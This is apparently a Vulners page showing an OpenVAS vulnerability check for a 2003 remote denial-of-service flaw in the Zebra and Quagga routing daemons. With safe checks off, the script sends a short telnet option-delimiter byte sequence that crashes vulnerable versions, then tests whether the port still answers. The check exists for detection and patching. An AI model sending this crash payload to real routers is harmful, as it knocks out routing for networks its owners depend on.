Lucene search
K

Zebra and Quagga Remote DoS

🗓️ 03 Nov 2005 00:00:00Reported by This script is Copyright (C) 2003 Matt NorthType 
openvas
 openvas
🔗 plugins.openvas.org👁 294 Views

Zebra and Quagga Remote Denial of Service vulnerability in the telnet option delimite

Related
Refs
Code
ReporterTitlePublishedViews
Family
FreeBSD
zebra/quagga denial of service vulnerability
20 Nov 200300:00
freebsd
CVE
CAN-2003-0795
6 Aug 202410:21
cve
CVE
CAN-2003-0858
6 Aug 202410:21
cve
CVE
CVE-2003-0795
18 Nov 200305:00
cve
CVE
CVE-2003-0858
18 Nov 200305:00
cve
Cvelist
CVE-2003-0795
18 Nov 200305:00
cvelist
Cvelist
CVE-2003-0858
18 Nov 200305:00
cvelist
Debian CVE
CVE-2003-0795
18 Nov 200305:00
debiancve
Debian CVE
CVE-2003-0858
18 Nov 200305:00
debiancve
Tenable Nessus
Debian DSA-415-1 : zebra - denial of service
29 Sep 200400:00
nessus
Rows per page
SourceLink
www.307-01
# OpenVAS Vulnerability Test
# $Id: zebra_dos.nasl 6046 2017-04-28 09:02:54Z teissa $
# Description: Zebra and Quagga Remote DoS
#
# Authors:
# Matt North
# MA 2003-11-17: added Services/zebra + MIXED_ATTACK support
#
# Copyright:
# Copyright (C) 2003 Matt North
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "A remote DoS exists in Zebra and/or Quagga when sending a telnet option 
delimiter with no actual option data.

An attacker may exploit this flaw to prevent this host from doing proper
routing.

This affects all versions from 0.90a to 0.93b.";

tag_solution = "Quagga Version 0.96.4.
Also see: http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=107140";

if(description)
{
        script_id(11925);
        script_version("$Revision: 6046 $");
        script_tag(name:"last_modification", value:"$Date: 2017-04-28 11:02:54 +0200 (Fri, 28 Apr 2017) $");
        script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
        script_bugtraq_id(9029);
        script_tag(name:"cvss_base", value:"5.0");
        script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  	script_xref(name:"RHSA", value:"RHSA-2003:307-01");

	script_cve_id("CVE-2003-0795", "CVE-2003-0858");
        name = "Zebra and Quagga Remote DoS";
        script_name(name);
        summary = "Attempts to crash the remote service Zebra and/or Quagga";
        script_category(ACT_MIXED_ATTACK);
  script_tag(name:"qod_type", value:"remote_banner");
        script_copyright("This script is Copyright (C) 2003 Matt North");
	script_require_ports("Services/zebra", 2601, 2602, 2603, 2604, 2605);
	script_dependencies("find_service.nasl");
        family = "Denial of Service";
        script_family(family);
        script_tag(name : "solution" , value : tag_solution);
        script_tag(name : "summary" , value : tag_summary);
        exit(0);
}

# Maybe we should try this on any telnet server?
port = get_kb_item("Services/zebra");

if (! port) port = 2601;
if (! get_port_state(port)) exit(0);

if (safe_checks())
{
  banner = get_kb_item("zebra/banner/"+port);
  if (!banner)
  {
    soc = open_sock_tcp(port);
    if(!soc) exit(0);
    banner = recv_line(socket: soc, length: 1024);
    set_kb_item(name: "zebra/banner/"+port, value: banner);
    close(soc);
  }
  if (banner && egrep(string: banner, 
		pattern: "Hello, this is zebra \(version 0\.9[0-3][ab]?\)"))
    security_message(port: port);
  exit(0);
}

soc = open_sock_tcp(port);
if(!soc) exit(0);

s = raw_string(0xff,0xf0,0xff,0xf0,0xff,0xf0);

send(socket:soc, data:s);
r = recv(socket: soc, length:1024);
close(soc);
alive = open_sock_tcp(port);
if(!alive) security_message(port);
else close(alive);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Apr 2017 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.08008
294